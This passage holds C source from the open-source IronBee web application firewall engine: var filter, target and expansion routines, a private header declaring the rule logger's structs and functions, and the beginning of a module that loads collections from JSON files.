/* var_filter */ ib_status_t ib_var_filter_acquire( ib_var_filter_t **filter, ib_mm_t mm, const char *filter_string, size_t filter_string_length ) { assert(filter != NULL); assert(filter_string != NULL); ib_var_filter_t *local_filter; local_filter = ib_mm_alloc(mm, sizeof(*local_filter)); if (local_filter == NULL) { return IB_EALLOC; } local_filter->filter_string = ib_mm_memdup(mm, filter_string, filter_string_length); local_filter->filter_string_length = filter_string_length; *filter = local_filter; return IB_OK; } ib_status_t ib_var_filter_apply( const ib_var_filter_t *filter, const ib_list_t **result, ib_mm_t mm, const ib_field_t *field ) { assert(filter != NULL); assert(result != NULL); assert(field != NULL); ib_status_t rc; if (field->type != IB_FTYPE_LIST) { return IB_EINVAL; } if (ib_field_is_dynamic(field)) { /* dynamic */ const ib_list_t *answer; rc = ib_field_value_ex( field, ib_ftype_list_out(&answer), filter->filter_string, filter->filter_string_length ); if (rc != IB_OK) { return IB_EOTHER; } *result = answer; } else { ib_list_t *local_result; rc = ib_list_create(&local_result, mm); if (rc != IB_OK) { assert(rc == IB_EALLOC); return rc; } /* case-insensitive string search */ const ib_list_t *answer; const ib_list_node_t *node; rc = ib_field_value(field, ib_ftype_list_out(&answer)); /* Can only fail on dynamic field. */ assert(rc == IB_OK); IB_LIST_LOOP_CONST(answer, node) { const ib_field_t *f = (const ib_field_t *)ib_list_node_data_const(node); bool push = ( filter->filter_string_length == f->nlen && strncasecmp( filter->filter_string, f->name, f->nlen ) == 0 ); if (push) { /* Discard const because lists are const-generic. */ rc = ib_list_push(local_result, (void *)f); if (rc != IB_OK) { assert(rc == IB_EALLOC); return rc; } } } *result = local_result; } return IB_OK; } ib_status_t ib_var_filter_remove( const ib_var_filter_t *filter, ib_list_t **result, ib_mm_t mm, ib_field_t *field ) { assert(filter != NULL); assert(field != NULL); assert( (result != NULL && ! ib_mm_is_null(mm)) || (result == NULL && ib_mm_is_null(mm)) ); ib_status_t rc; ib_list_t *local_result = NULL; ib_list_t *field_list; ib_list_node_t *node; ib_list_node_t *next_node; bool removed = false; if (field->type != IB_FTYPE_LIST || ib_field_is_dynamic(field)) { return IB_EINVAL; } if (result != NULL) { rc = ib_list_create(&local_result, mm); if (rc != IB_OK) { assert(rc == IB_EALLOC); return rc; } } rc = ib_field_value(field, ib_ftype_list_mutable_out(&field_list)); assert(rc == IB_OK); /* Can only fail on dynamic field. */ IB_LIST_LOOP_SAFE(field_list, node, next_node) { ib_field_t *f = (ib_field_t *)ib_list_node_data(node); if ( filter->filter_string_length == f->nlen && strncasecmp( filter->filter_string, f->name, f->nlen ) == 0 ) { if (result != NULL) { rc = ib_list_push(local_result, (void *)f); if (rc != IB_OK) { assert(rc == IB_EALLOC); return rc; } } ib_list_node_remove(field_list, node); removed = true; } } if (! removed) { return IB_ENOENT; } if (result != NULL) { *result = local_result; } return IB_OK; } /* var_target */ ib_status_t ib_var_target_acquire( ib_var_target_t **target, ib_mm_t mm, ib_var_source_t *source, const ib_var_expand_t *expand, const ib_var_filter_t *filter ) { assert(target != NULL); assert(source != NULL); ib_var_target_t *local_target; local_target = ib_mm_alloc(mm, sizeof(*local_target)); if (local_target == NULL) { return IB_EALLOC; } local_target->source = source; local_target->expand = expand; local_target->filter = filter; *target = local_target; return IB_OK; } void ib_var_target_source_name( const ib_var_target_t *target, const char **name, size_t *len ) { assert(target != NULL); assert(target->source != NULL); ib_var_source_name(target->source, name, len); } ib_var_source_t *ib_var_target_source( ib_var_target_t *target ) { assert(target != NULL); assert(target->source != NULL); return target->source; } ib_status_t ib_var_target_acquire_from_string( ib_var_target_t **target, ib_mm_t mm, const ib_var_config_t *config, const char *target_string, size_t target_string_length ) { assert(target != NULL); assert(config != NULL); assert(target_string != NULL); ib_status_t rc; ib_var_source_t *source; ib_var_expand_t *expand = NULL; ib_var_filter_t *filter = NULL; size_t split_at; const char *split; split = memchr(target_string, ':', target_string_length); if (split == NULL) { split_at = target_string_length; } else { split_at = split - target_string; } if (split_at == 0) { return IB_EINVAL; } rc = ib_var_source_acquire( &source, mm, config, target_string, split_at ); if (rc != IB_OK) { return rc; } /* The -1 allows for trivial filters such as "FOO:" */ if (split_at < target_string_length - 1) { const char *filter_string = target_string + split_at + 1; size_t filter_string_length = target_string_length - split_at - 1; rc = ib_var_expand_acquire( &expand, mm, filter_string, filter_string_length, config ); if (rc != IB_OK) { return rc; } } return ib_var_target_acquire(target, mm, source, expand, filter); } ib_status_t target_filter_get( const ib_var_target_t *target, const ib_var_filter_t **result, ib_mm_t mm, const ib_var_store_t *store ) { assert(target != NULL); assert(result != NULL); assert(! ib_mm_is_null(mm) || target->expand == NULL); assert( (target->expand == NULL && target->filter == NULL) || (target->expand == NULL && target->filter != NULL) || (target->expand != NULL && target->filter == NULL) ); assert(store != NULL); ib_status_t rc; if (target->expand == NULL) { *result = target->filter; } else { const char *filter_string; size_t filter_string_length; ib_var_filter_t *local_filter; rc = ib_var_expand_execute( target->expand, &filter_string, &filter_string_length, mm, store ); if (rc != IB_OK) { return rc; } rc = ib_var_filter_acquire( &local_filter, mm, filter_string, filter_string_length ); if (rc != IB_OK) { return rc; } *result = local_filter; } return IB_OK; } ib_status_t ib_var_target_type( ib_var_target_t *target, ib_var_store_t *store, ib_ftype_t *type ) { assert(target != NULL); assert(target->source != NULL); assert(store != NULL); assert( (target->expand == NULL && target->filter == NULL) || (target->expand == NULL && target->filter != NULL) || (target->expand != NULL && target->filter == NULL) ); ib_status_t rc; ib_field_t *field; /* If there is a filter, we expect the type to be a list, and * will report it as such. */ if (target->filter != NULL) { *type = IB_FTYPE_LIST; return IB_OK; } rc = ib_var_source_get(target->source, &field, store); if (rc != IB_OK) { return rc; } /* We got a result! Return the type. */ *type = field->type; return IB_OK; } ib_status_t ib_var_target_get( ib_var_target_t *target, const ib_list_t **result, ib_mm_t mm, ib_var_store_t *store ) { assert(target != NULL); assert(result != NULL); assert(store != NULL); assert( (target->expand == NULL && target->filter == NULL) || (target->expand == NULL && target->filter != NULL) || (target->expand != NULL && target->filter == NULL) ); ib_status_t rc; ib_field_t *field; const ib_list_t *local_result; const ib_var_filter_t *filter = NULL; rc = ib_var_source_get( target->source, &field, store ); if (rc != IB_OK) { return rc; } rc = target_filter_get(target, &filter, mm, store); if (rc != IB_OK) { return rc; } if (filter != NULL) { /* Filter list field. */ rc = ib_var_filter_apply( filter, &local_result, mm, field ); if (rc != IB_OK) { return rc; } } else if (field->type == IB_FTYPE_LIST) { /* Directly return list field. */ rc = ib_field_value(field, ib_ftype_list_out(&local_result)); if (rc != IB_OK) { return rc; } } else { /* Wrap non-list field in list. */ ib_list_t *local_result_mutable; rc = ib_list_create(&local_result_mutable, mm); if (rc != IB_OK) { assert(rc == IB_EALLOC); return rc; } rc = ib_list_push(local_result_mutable, field); if (rc != IB_OK) { assert(rc == IB_EALLOC); return rc; } local_result = local_result_mutable; } *result = local_result; return IB_OK; } ib_status_t ib_var_target_get_const( const ib_var_target_t *target, const ib_list_t **result, ib_mm_t mm, const ib_var_store_t *store ) { assert(target != NULL); assert(result != NULL); assert(store != NULL); /* Use non-const version; okay, as caller storing result in const. */ return ib_var_target_get( (ib_var_target_t *)target, result, mm, (ib_var_store_t *)store ); } ib_status_t ib_var_target_remove( ib_var_target_t *target, ib_list_t **result, ib_mm_t mm, ib_var_store_t *store ) { assert(target != NULL); assert(store != NULL); assert( (result != NULL && ! ib_mm_is_null(mm)) || (result == NULL && ib_mm_is_null(mm)) ); assert( (target->expand == NULL && target->filter == NULL) || (target->expand == NULL && target->filter != NULL) || (target->expand != NULL && target->filter == NULL) ); ib_status_t rc; ib_mm_t local_mm = IB_MM_NULL; ib_mpool_lite_t *mpl = NULL; const ib_var_filter_t *filter; ib_field_t *field; ib_list_t *local_result = NULL; /* Create result list if needed. */ if (result != NULL) { rc = ib_list_create(&local_result, mm); if (rc != IB_OK) { assert(rc == IB_EALLOC); return rc; } } /* Fetch and check value. */ rc = ib_var_source_get(target->source, &field, store); if (rc != IB_OK) { return rc; } /* Figure out if we need a local memory pool. */ if (! ib_mm_is_null(mm)) { local_mm = mm; } else if (target->expand != NULL) { rc = ib_mpool_lite_create(&mpl); if (rc != IB_OK) { assert(rc == IB_EALLOC); return rc; } local_mm = ib_mm_mpool_lite(mpl); } /* !!! From here on, cannot return directly; must goto finish. !!! */ rc = target_filter_get(target, &filter, local_mm, store); if (rc != IB_OK) { goto finish; } if (filter == NULL) { /* Trivial */ if (local_result != NULL) { ib_list_push(local_result, (void *)field); } rc = ib_var_source_set(target->source, store, NULL); goto finish; } else if (! ib_mm_is_null(local_mm)) { /* Simple */ rc = ib_var_filter_remove(filter, &local_result, local_mm, field); goto finish; } else { /* No memory pool. */ rc = ib_var_filter_remove(filter, NULL, IB_MM_NULL, field); goto finish; } finish: if (mpl != NULL) { ib_mpool_lite_destroy(mpl); } if (result != NULL && rc == IB_OK) { *result = local_result; } return rc; } ib_status_t ib_var_target_expand( ib_var_target_t *target, ib_var_target_t **expanded, ib_mm_t mm, const ib_var_store_t *store ) { assert(target != NULL); assert(expanded != NULL); assert(store != NULL); const ib_var_filter_t *expanded_filter; ib_var_target_t *expanded_target; ib_status_t rc; if (target->expand == NULL) { *expanded = target; return IB_OK; } rc = target_filter_get(target, &expanded_filter, mm, store); if (rc != IB_OK) { return rc; } rc = ib_var_target_acquire( &expanded_target, mm, target->source, NULL, expanded_filter ); if (rc != IB_OK) { return rc; } *expanded = expanded_target; return IB_OK; } ib_status_t ib_var_target_expand_const( const ib_var_target_t *target, const ib_var_target_t **expanded, ib_mm_t mm, const ib_var_store_t *store ) { assert(target != NULL); assert(expanded != NULL); assert(store != NULL); /* Use non-const version; okay, as caller storing result in const */ return ib_var_target_expand( (ib_var_target_t *)target, (ib_var_target_t **)expanded, mm, store ); } ib_status_t ib_var_target_set( ib_var_target_t *target, ib_mm_t mm, ib_var_store_t *store, ib_field_t *field ) { assert(target != NULL); assert(store != NULL); assert(field != NULL); assert( (target->expand == NULL && target->filter == NULL) || (target->expand == NULL && target->filter != NULL) || (target->expand != NULL && target->filter == NULL) ); ib_status_t rc; const ib_var_filter_t *filter; ib_field_t *source_field; ib_list_t *list; rc = target_filter_get(target, &filter, mm, store); if (rc != IB_OK) { return rc; } if (filter == NULL) { return ib_var_source_set(target->source, store, field); } /* Target must be simple. */ rc = ib_var_source_get(target->source, &source_field, store); if (rc == IB_ENOENT) { rc = ib_var_source_initialize( target->source, &source_field, store, IB_FTYPE_LIST ); if (rc != IB_OK) { return rc; } } if ( source_field->type != IB_FTYPE_LIST || ib_field_is_dynamic(source_field) ) { return IB_EINVAL; } field->name = filter->filter_string; field->nlen = filter->filter_string_length; rc = ib_field_value(source_field, ib_ftype_list_mutable_out(&list)); if (rc != IB_OK) { return rc == IB_EALLOC ? rc : IB_EOTHER; } rc = ib_list_push(list, field); if (rc != IB_OK) { return rc == IB_EALLOC ? rc : IB_EOTHER; } return IB_OK; } ib_status_t ib_var_target_remove_and_set( ib_var_target_t *target, ib_mm_t mm, ib_var_store_t *store, ib_field_t *field ) { assert(target != NULL); assert(store != NULL); assert(field != NULL); ib_var_target_t *expanded; ib_status_t rc; rc = ib_var_target_expand(target, &expanded, mm, store); if (rc != IB_OK) { return rc; } rc = ib_var_target_remove(target, NULL, IB_MM_NULL, store); if (rc != IB_OK && rc != IB_ENOENT) { return rc; } return ib_var_target_set(target, mm, store, field); } /* var_expand */ void field_to_string( const char **dst, size_t *dst_length, const ib_field_t *field, ib_mm_t mm ) { assert(dst != NULL); assert(dst_length != NULL); assert(field != NULL); /* Length sufficient for number or float. */ static const size_t c_numeric_width = 45; ib_status_t rc; char *local_dst; switch (field->type) { case IB_FTYPE_BYTESTR: { const ib_bytestr_t *bs; rc = ib_field_value(field, ib_ftype_bytestr_out(&bs)); if (rc != IB_OK) { goto error; } *dst = (const char *)ib_bytestr_const_ptr(bs); *dst_length = ib_bytestr_length(bs); if (*dst == NULL) { *dst = ""; *dst_length = 0; } return; } case IB_FTYPE_NUM: { int printed; ib_num_t n; rc = ib_field_value(field, ib_ftype_num_out(&n)); if (rc != IB_OK) { goto error; } local_dst = ib_mm_alloc(mm, c_numeric_width); if (local_dst == NULL) { goto error; } printed = snprintf(local_dst, c_numeric_width, "%" PRIu64, n); if (printed < 0) { goto error; } *dst = local_dst; *dst_length = printed; return; } case IB_FTYPE_FLOAT: { int printed; ib_float_t n; rc = ib_field_value(field, ib_ftype_float_out(&n)); if (rc != IB_OK) { goto error; } local_dst = ib_mm_alloc(mm, c_numeric_width); if (local_dst == NULL) { goto error; } printed = snprintf(local_dst, c_numeric_width, "%Lf", n); if (printed < 0) { goto error; } *dst = local_dst; *dst_length = printed; return; } default: *dst = "UNSUPPORTED"; *dst_length = sizeof("UNSUPPORTED"); return; } return; error: *dst = "ERROR"; *dst_length = sizeof("ERROR"); } bool find_expand_string( const char **a, const char **b, const char *s, size_t l ) { assert(a != NULL); assert(b != NULL); assert(s != NULL); const char *la = s; const char *lb; while (la < s + l) { la = memchr(la, '%', l - (la - s)); if (la == NULL) { return false; } if (la < s + l && *(la + 1) == '{') { break; } } /* %{ at end of string leaves no room for }; hence the '- 1' */ if (la >= s + l - 1) { return false; } /* Current now points to % of first %{ in string. */ lb = memchr(la + 2, '}', l - (la - s)); if (lb == NULL) { return false; } *a = la; *b = lb; return true; } ib_status_t ib_var_expand_acquire( ib_var_expand_t **expand, ib_mm_t mm, const char *str, size_t str_length, const ib_var_config_t *config ) { assert(expand != NULL); assert(str != NULL); assert(config != NULL); ib_status_t rc; ib_var_expand_t *first = NULL; ib_var_expand_t **parent_next = &first; const char *suffix; const char *local_str; local_str = ib_mm_memdup(mm, str, str_length); if (local_str == NULL) { return IB_EALLOC; } /* Special case empty string. */ if (str_length == 0) { first = ib_mm_calloc(mm, 1, sizeof(*first)); if (first == NULL) { return IB_EALLOC; } first->prefix = local_str; first->prefix_length = 0; *expand = first; return IB_OK; } suffix = local_str; while (suffix < local_str + str_length) { size_t suffix_length = str_length - (suffix - local_str); const char *a; const char *b; ib_var_expand_t *current; bool found; /* note calloc */ current = ib_mm_calloc(mm, 1, sizeof(*current)); if (current == NULL) { return IB_EALLOC; } *parent_next = current; parent_next = &(current->next); found = find_expand_string(&a, &b, suffix, suffix_length); if (! found) { current->prefix = suffix; current->prefix_length = suffix_length; break; } else { const char *target_string = a + 2; size_t target_string_length = b - target_string; if (a != suffix) { current->prefix = suffix; current->prefix_length = a - suffix; } ib_var_target_t *target; rc = ib_var_target_acquire_from_string( &target, mm, config, target_string, target_string_length ); if (rc != IB_OK) { return rc; } current->target = target; suffix = b + 1; } } *expand = first; return IB_OK; } ib_status_t ib_var_expand_execute( const ib_var_expand_t *expand, const char **dst, size_t *dst_length, ib_mm_t mm, const ib_var_store_t *store ) { assert(expand != NULL); assert(dst != NULL); assert(dst_length != NULL); assert(store != NULL); ib_status_t rc; ib_sa_t *sa; /* Check for trivial case. */ if (expand->next == NULL && expand->target == NULL) { *dst = expand->prefix; *dst_length = expand->prefix_length; return IB_OK; } rc = ib_sa_begin(&sa); if (rc != IB_OK) { assert(rc == IB_EALLOC); return IB_EALLOC; } /* Construct temporary memory pool. */ ib_mpool_lite_t *mpl; ib_mm_t mpl_mm; rc = ib_mpool_lite_create(&mpl); if (rc != IB_OK) { assert(rc == IB_EALLOC); ib_sa_abort(&sa); return IB_EALLOC; } mpl_mm = ib_mm_mpool_lite(mpl); for ( const ib_var_expand_t *current = expand; current != NULL; current = current->next ) { if (current->prefix != NULL) { rc = ib_sa_append(sa, current->prefix, current->prefix_length); if (rc != IB_OK) {goto finish_ealloc;} } if (current->target != NULL) { const ib_list_t *result; rc = ib_var_target_get_const( current->target, &result, mpl_mm, store ); if (rc != IB_OK) { goto finish; } bool first = true; const ib_list_node_t *node; IB_LIST_LOOP_CONST(result, node) { const char *value; size_t value_length; const ib_field_t *field = ib_list_node_data_const(node); field_to_string(&value, &value_length, field, mpl_mm); if (first) { first = false; } else { rc = ib_sa_append(sa, ", ", 2); if (rc != IB_OK) {goto finish_ealloc;} } rc = ib_sa_append(sa, value, value_length); if (rc != IB_OK) {goto finish_ealloc;} } } } rc = ib_sa_finish(&sa, dst, dst_length, mm); if (rc != IB_OK) {goto finish_ealloc;} rc = IB_OK; goto finish; finish_ealloc: assert(rc == IB_EALLOC); /* fall through */ finish: if (sa != NULL) { ib_sa_abort(&sa); } ib_mpool_lite_destroy(mpl); return rc; } bool ib_var_expand_test( const char *str, size_t str_length ) { assert(str != NULL); const char *a; const char *b; return find_expand_string(&a, &b, str, str_length); }
crustymonkey/ironbee
engine/rule_logger_private.h
<reponame>crustymonkey/ironbee /***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ #ifndef _IB_RULE_LOGGER_PRIVATE_H_ #define _IB_RULE_LOGGER_PRIVATE_H_ /** * @file * @brief IronBee --- Rule logger Private Declarations * * These definitions and routines are called by the rule engine and nowhere * else. * * @author <NAME> <<EMAIL>> */ #include <ironbee/clock.h> #include <ironbee/engine_state.h> #include <ironbee/rule_engine.h> #include <ironbee/transformation.h> #include <ironbee/types.h> /** * Rule transformation value for logging. */ struct ib_rule_log_tfn_val_t { const ib_field_t *in; /**< Value before transformation */ const ib_field_t *out; /**< Value after transformation */ ib_status_t status; /**< Transformation return status */ }; typedef struct ib_rule_log_tfn_val_t ib_rule_log_tfn_val_t; /** * Rule transformation results for logging. */ struct ib_rule_log_tfn_t { ib_rule_log_tfn_val_t value; /**< In, out & status */ const ib_transformation_inst_t *tfn_inst; /**< Transformation */ ib_list_t *value_list; /**< List of ib_rule_log_tfn_val_t */ }; typedef struct ib_rule_log_tfn_t ib_rule_log_tfn_t; /** * Rule action for logging. */ struct ib_rule_log_act_t { const ib_action_inst_t *act_inst; /**< Action instance */ ib_status_t status; /**< Transformation return status */ }; typedef struct ib_rule_log_act_t ib_rule_log_act_t; /** * Rule result counts for logging. */ struct ib_rule_log_count_t { int exec_count; /**< Total # of operator executions */ int act_count; /**< Total # of actions executed */ int event_count; /**< Total # of events */ int error_count; /**< Total # of operator errors */ int true_count; /**< Total # of true results */ int false_count; /**< Total # of false results */ }; typedef struct ib_rule_log_count_t ib_rule_log_count_t; /** * Rule result for logging. */ struct ib_rule_log_rslt_t { const ib_field_t *value; /**< Value passed to operator */ ib_num_t result; /**< Result of operator */ ib_status_t status; /**< Operator return status */ ib_list_t *act_list; /**< List of executed actions */ int act_count; /**< # of actions */ ib_list_t *event_list; /**< List of events created */ int event_count; /**< # of events */ }; typedef struct ib_rule_log_rslt_t ib_rule_log_rslt_t; /** * Rule execution target for logging. */ struct ib_rule_log_tgt_t { const ib_rule_target_t *target; /**< Target of rule */ const ib_field_t *original; /**< Original value */ const ib_field_t *transformed; /**< Transformed value */ ib_list_t *tfn_list; /**< List of ib_rule_log_tfn_t */ ib_rule_log_tfn_t *tfn_cur; /**< Current transformation */ int tfn_count; /**< # of transformations */ ib_list_t *rslt_list; /**< List of ib_rule_log_rslt_t */ ib_rule_log_rslt_t *rslt_cur; /**< Current result */ int rslt_count; /**< # of results */ ib_rule_log_exec_t *log_exec; /**< Parent execution log object */ ib_rule_log_count_t counts; /**< Result counting info */ }; typedef struct ib_rule_log_tgt_t ib_rule_log_tgt_t; /** * Rule execution logging data */ struct ib_rule_log_exec_t { ib_timeval_t start_time; /**< Time of start of rule execution */ ib_timeval_t end_time; /**< Time of end of rule execution */ ib_flags_t enable; /**< Enable flags */ ib_flags_t flags; /**< Execution flags */ ib_rule_log_tx_t *tx_log; /**< Rule transaction log */ const ib_rule_t *rule; /**< Rule being executed */ ib_list_t *tgt_list; /**< List of ib_rule_log_tgt_t */ ib_rule_log_tgt_t *tgt_cur; /**< Current target */ int tgt_count; /**< # of targets */ ib_rule_log_count_t counts; /**< Result counting info */ ib_flags_t filter; /**< Rule filter flags */ ib_status_t op_status; /**< Return status of last operator */ }; /** * Rule transaction logging data */ struct ib_rule_log_tx_t { ib_mm_t mm; /**< Memory manager */ ib_timeval_t start_time; /**< Time of start of rule engine */ ib_timeval_t end_time; /**< Time of end of rule engine */ ib_flags_t flags; /**< Rule logging flags */ ib_flags_t filter; /**< Rule filter flags */ ib_logger_level_t level; /**< Level to log at */ bool empty_tx; /**< Is this an empty transaction? */ ib_rule_phase_num_t cur_phase; /**< Current phase # */ const char *phase_name; /**< Name of current phase */ }; /** * Return rule execution logging flags * * @param[in] ctx The context that we're looking the level up for * * @return The configured rule log execution flags. */ ib_flags_t ib_rule_log_flags( const ib_context_t *ctx); /** * Dump the enabled rule log flags * * @param[in] ib The IronBee engine * @param[in] ctx The context that we're looking the level up for */ void ib_rule_log_flags_dump( const ib_engine_t *ib, const ib_context_t *ctx); /** * Create a rule transaction logging object * * @param[in] rule_exec The rule execution object * @param[in] tx_log The new rule transaction log object * * @returns IB_OK on success, * IB_EALLOC if the allocation failed, */ ib_status_t ib_rule_log_tx_create( const ib_rule_exec_t *rule_exec, ib_rule_log_tx_t **tx_log); /** * Create a rule execution logging object * * @param[in] rule_exec Rule execution object * @param[out] exec_log The new execution logging object * * @returns IB_OK on success, * IB_EALLOC if the allocation failed, * Error status returned by ib_list_create() */ ib_status_t ib_rule_log_exec_create( const ib_rule_exec_t *rule_exec, ib_rule_log_exec_t **exec_log); /** * Log transaction events for the rule logger (start of phase) * * @param[in] rule_exec Rule execution object * @param[in] state The transaction state to log (as required) */ void ib_rule_log_tx_event_start( const ib_rule_exec_t *rule_exec, ib_state_t state); /** * Log transaction events for the rule logger (end of phase) * * @param[in] rule_exec Rule execution object * @param[in] state The transaction state to log (as required) */ void ib_rule_log_tx_event_end( const ib_rule_exec_t *rule_exec, ib_state_t state); /** * Log start of phase * * @param[in] rule_exec Rule execution object * @param[in] phase_num Phase number * @param[in] phase_name Name of phase * @param[in] num_rules Number of rules in the phase */ void ib_rule_log_phase( const ib_rule_exec_t *rule_exec, ib_rule_phase_num_t phase_num, const char *phase_name, size_t num_rules); /** * Notify logger that an operator has been executed * * @param[in,out] log_exec The execution logging object * @param[in] opinst Operator instance * @param[in] status Status returned by the operator * * @returns IB_OK on success, * IB_EALLOC if an allocation failed * Error status returned by ib_list_push() */ ib_status_t ib_rule_log_exec_op( ib_rule_log_exec_t *log_exec, const ib_rule_operator_inst_t *opinst, ib_status_t status); /** * Add a target result to a rule execution log * * @param[in,out] log_exec The execution logging object * @param[in] target Rule target * @param[in] value Target before transformations * * @returns IB_OK on success, * IB_EALLOC if an allocation failed * Error status returned by ib_list_push() */ ib_status_t ib_rule_log_exec_add_target( ib_rule_log_exec_t *log_exec, const ib_rule_target_t *target, const ib_field_t *value); /** * Add a result to a rule execution logging object * * @param[in,out] log_exec The new execution logging object * @param[in] value The value passed to the operator * @param[in] result Execution result * * @returns IB_OK on success, * IB_EALLOC if an allocation failed * Error status returned by ib_list_push() */ ib_status_t ib_rule_log_exec_add_result( ib_rule_log_exec_t *log_exec, const ib_field_t *value, ib_num_t result); /** * Add an action to a rule execution logging object * * @param[in,out] exec_log The new execution logging object * @param[in] act_inst The action instance to log * @param[in] status Status returned by the action * * @returns IB_OK on success, * IB_EALLOC if an allocation failed * Error status returned by ib_list_push() */ ib_status_t ib_rule_log_exec_add_action( ib_rule_log_exec_t *exec_log, const ib_action_inst_t *act_inst, ib_status_t status); /** * Set the current target's final value (after all transformations) * * @param[in,out] exec_log Rule execution log object * @param[in] final Target after all transformations * * @returns IB_OK on success, */ ib_status_t ib_rule_log_exec_set_tgt_final( ib_rule_log_exec_t *exec_log, const ib_field_t *final); /** * Add a stream target result to a rule execution log * * @param[in] ib Engine * @param[in,out] exec_log The execution logging object * @param[in] field Value passed to the operator * * @returns IB_OK on success */ ib_status_t ib_rule_log_exec_add_stream_tgt( ib_engine_t *ib, ib_rule_log_exec_t *exec_log, const ib_field_t *field); /** * Add a transformation to a rule execution log. * * @param[in,out] exec_log The execution logging object. * @param[in] tfn_inst The transformation instance to add. * * @returns * - IB_OK on success. */ ib_status_t ib_rule_log_exec_tfn_inst_add( ib_rule_log_exec_t *exec_log, const ib_transformation_inst_t *tfn_inst); /** * Add a transformation value for a rule execution log * * @param[in,out] exec_log The execution logging object * @param[in] in Value before transformation * @param[in] out Value after transformation * @param[in] status Status returned by the transformation * * @returns IB_OK on success */ ib_status_t ib_rule_log_exec_tfn_value( ib_rule_log_exec_t *exec_log, const ib_field_t *in, const ib_field_t *out, ib_status_t status); /** * Finish a transformation for a rule execution log * * @param[in,out] exec_log The execution logging object * @param[in] tfn_inst The transformation instance to add * @param[in] in Value before transformation * @param[in] out Value after transformation * @param[in] status Status returned by the transformation * * @returns IB_OK on success */ ib_status_t ib_rule_log_exec_tfn_inst_fin( ib_rule_log_exec_t *exec_log, const ib_transformation_inst_t *tfn_inst, const ib_field_t *in, const ib_field_t *out, ib_status_t status); #endif /* IB_RULE_LOGGER_PRIVATE_H_ */
crustymonkey/ironbee
modules/init_collection.c
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- Init Collection Module * * This module provides the InitCollection directive. * * @author <NAME> <<EMAIL>> */ #include "ironbee_config_auto.h" #include "persistence_framework.h" #include <ironbee/context.h> #include <ironbee/engine.h> #include <ironbee/engine_state.h> #include <ironbee/file.h> #if ENABLE_JSON #include <ironbee/json.h> #endif #include <ironbee/module.h> #include <ironbee/path.h> #include <ironbee/rule_engine.h> #include <ironbee/string.h> #include <ironbee/transformation.h> #include <ironbee/uuid.h> #include <assert.h> #include <errno.h> #include <fcntl.h> #include <string.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> /* Module boilerplate */ #define MODULE_NAME init_collection #define MODULE_NAME_STR IB_XSTRINGIFY(MODULE_NAME) IB_MODULE_DECLARE(); /* JSON handlers are registered under this type. */ #define JSON_TYPE "json" /* JSON URI Prefix. */ #define JSON_URI_PREFIX "json-file://" /* VAR handlers are registered under this type. */ #define VAR_TYPE "var" /** * Module configuration. */ struct init_collection_cfg_t { ib_persist_fw_t *persist_fw; /**< Handle to the persistence framework. */ /** * The current configuration value. * * This pointer is a value-passing field and is changed often * during configuration time. It is used by the JSON * support code to find JSON files relative to the current * configuration file. This field is idle at runtime. */ const char *config_file; }; typedef struct init_collection_cfg_t init_collection_cfg_t; /* All JSON-related static functions and types are located here. * Do not move JSON code outside of the #if or builds disabling * JSON will probably fail. */ #if ENABLE_JSON /** * JSON configuration type. */ struct json_t { const char *file; /**< The file containing the JSON. */ }; typedef struct json_t json_t; /** * JSON Load callback. * * @param[in] impl The implementation created by json_create_fn(). * @param[in] tx The transaction. * @param[in] key Unused. * @param[in] key_len Unused. * @param[in] fields The output fields. * @param[in] cbdata Callback data. Unused. * * @returns * - IB_OK On success. * - Other on failure. */ static ib_status_t json_load_fn( void *impl, ib_tx_t *tx, const char *key, size_t key_len, ib_list_t *fields, void *cbdata ) { assert(impl != NULL); assert(tx != NULL); assert(fields != NULL); json_t *json_cfg = (json_t *)impl; ib_status_t rc; const char *err_msg; const uint8_t *buf = NULL; size_t sz; /* Load the file into a buffer. */ rc = ib_file_readall(tx->mm, json_cfg->file, &buf, &sz); if (rc != IB_OK) { if (rc == IB_EOTHER || rc == IB_EINVAL) { ib_log_error_tx( tx, "Error reading file \"%s\": %s", json_cfg->file, strerror(errno)); } else { ib_log_error_tx(tx, "Failed to read JSON file \"%s\"", json_cfg->file); } return rc; } /* Parse the buffer into the fields list. */ rc = ib_json_decode_ex(tx->mm, buf, sz, fields, &err_msg); if (rc != IB_OK) { ib_log_error_tx( tx, "Error decoding JSON file \"%s\": %s", json_cfg->file, err_msg); return rc; } return IB_OK; } /** * Create a new @a impl which is passed to json_load_fn(). * * @param[in] ib IronBee Engine. * @param[in] params Parameters to constructor. * @param[out] impl The @ref json_t to be constructed. * @param[in] cbdata Callback data. An @ref init_collection_cfg_t. * * @returns * - IB_OK On success. * - IB_EINVAL On invalid entry. * - IB_EALLOC On allocation error. */ static ib_status_t json_create_fn( ib_engine_t *ib, const ib_list_t *params, void *impl, void *cbdata ) { assert(ib != NULL); assert(params != NULL); assert(impl != NULL); assert(cbdata != NULL); ib_mm_t mm = ib_engine_mm_main_get(ib); json_t *json_cfg; const ib_list_node_t *node; const char *json_file; init_collection_cfg_t *cfg = (init_collection_cfg_t *)cbdata; assert(cfg->config_file != NULL); json_cfg = ib_mm_alloc(mm, sizeof(*json_cfg)); if (json_cfg == NULL) { return IB_EALLOC; } /* Get the collection node. We don't care about this. Skip it. */ node = ib_list_first_const(params); if (node == NULL) { ib_log_error(ib, "JSON requires at least 2 arguments: name and uri."); return IB_EINVAL; } /* Get the URI to the file. */ node = ib_list_node_next_const(node); if (node == NULL) { ib_log_error(ib, "JSON requires at least 2 arguments: name and uri."); return IB_EINVAL; } json_file = (const char 